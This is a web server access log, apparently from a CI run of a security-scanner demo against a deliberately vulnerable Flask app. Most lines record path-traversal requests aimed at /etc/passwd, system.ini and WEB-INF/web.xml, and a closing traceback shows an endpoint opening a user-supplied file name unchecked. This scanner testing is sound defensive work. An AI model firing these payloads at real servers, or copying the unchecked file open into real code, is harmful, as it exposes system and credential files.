172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=%2F..%2FWEB-INF%2Fweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=..%2FWEB-INF%2Fweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=%5C..%5CWEB-INF%5Cweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=..%5CWEB-INF%5Cweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=..%2F..%2FWEB-INF%2Fweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=%2F..%2FWEB-INF%2Fweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=..%5C..%5CWEB-INF%5Cweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=%5C..%5CWEB-INF%5Cweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=..%2F..%2FWEB-INF%2Fweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=%2F..%2F..%2FWEB-INF%2Fweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=..%5C..%5CWEB-INF%5Cweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=%5C..%5C..%5CWEB-INF%5Cweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=%2F..%2F..%2FWEB-INF%2Fweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=thishouldnotexistandhopefullyitwillnot&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=%5C..%5C..%5CWEB-INF%5Cweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=c%3A%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=thishouldnotexistandhopefullyitwillnot&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=c%3A%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=c%3A%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=c%3A%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=Windows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=Windows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=Windows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=Windows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=etc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=WEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=etc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=WEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=WEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=WEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=%2F..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=%5C..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=%2F..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=%5C..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=k&name=thishouldnotexistandhopefullyitwillnot HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=k&name=thishouldnotexistandhopefullyitwillnot HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=c%3A%2FWindows%2Fsystem.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=c%3A%2FWindows%2Fsystem.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=c%3A%5CWindows%5Csystem.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=c%3A%5CWindows%5Csystem.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=Windows%2Fsystem.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=Windows%5Csystem.ini&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=Windows%2Fsystem.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=Windows%5Csystem.ini&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=%2Fetc%2Fpasswd&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=%2Fetc%2Fpasswd&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=etc%2Fpasswd&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=etc%2Fpasswd&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=WEB-INF%2Fweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=WEB-INF%2Fweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=WEB-INF%5Cweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=WEB-INF%5Cweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=%2FWEB-INF%2Fweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=%2FWEB-INF%2Fweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=%5CWEB-INF%5Cweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=%5CWEB-INF%5Cweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=..%2FWEB-INF%2Fweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=..%2FWEB-INF%2Fweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=..%5CWEB-INF%5Cweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=..%5CWEB-INF%5Cweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=%2F..%2FWEB-INF%2Fweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=%2F..%2FWEB-INF%2Fweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=%5C..%5CWEB-INF%5Cweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=%5C..%5CWEB-INF%5Cweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=..%2F..%2FWEB-INF%2Fweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=..%2F..%2FWEB-INF%2Fweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=..%5C..%5CWEB-INF%5Cweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=..%5C..%5CWEB-INF%5Cweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=%2F..%2F..%2FWEB-INF%2Fweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=%2F..%2F..%2FWEB-INF%2Fweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=%5C..%5C..%5CWEB-INF%5Cweb.xml&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=%5C..%5C..%5CWEB-INF%5Cweb.xml&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=thishouldnotexistandhopefullyitwillnot&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=thishouldnotexistandhopefullyitwillnot&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=c%3A%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=c%3A%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=c%3A%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=c%3A%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=Windows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=Windows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=Windows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=Windows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=etc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=etc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=WEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=WEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=WEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=WEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=%2F..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=%5C..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss5?a=k&name=thishouldnotexistandhopefullyitwillnot HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=%2F..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=%5C..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss4?a=k&name=thishouldnotexistandhopefullyitwillnot HTTP/1.1" 200 -
[2017-10-18 08:05:10,516] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'http:www.google.com'
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /bonus?name=http%3A%2F%2Fwww.google.com%2F HTTP/1.1" 500 -
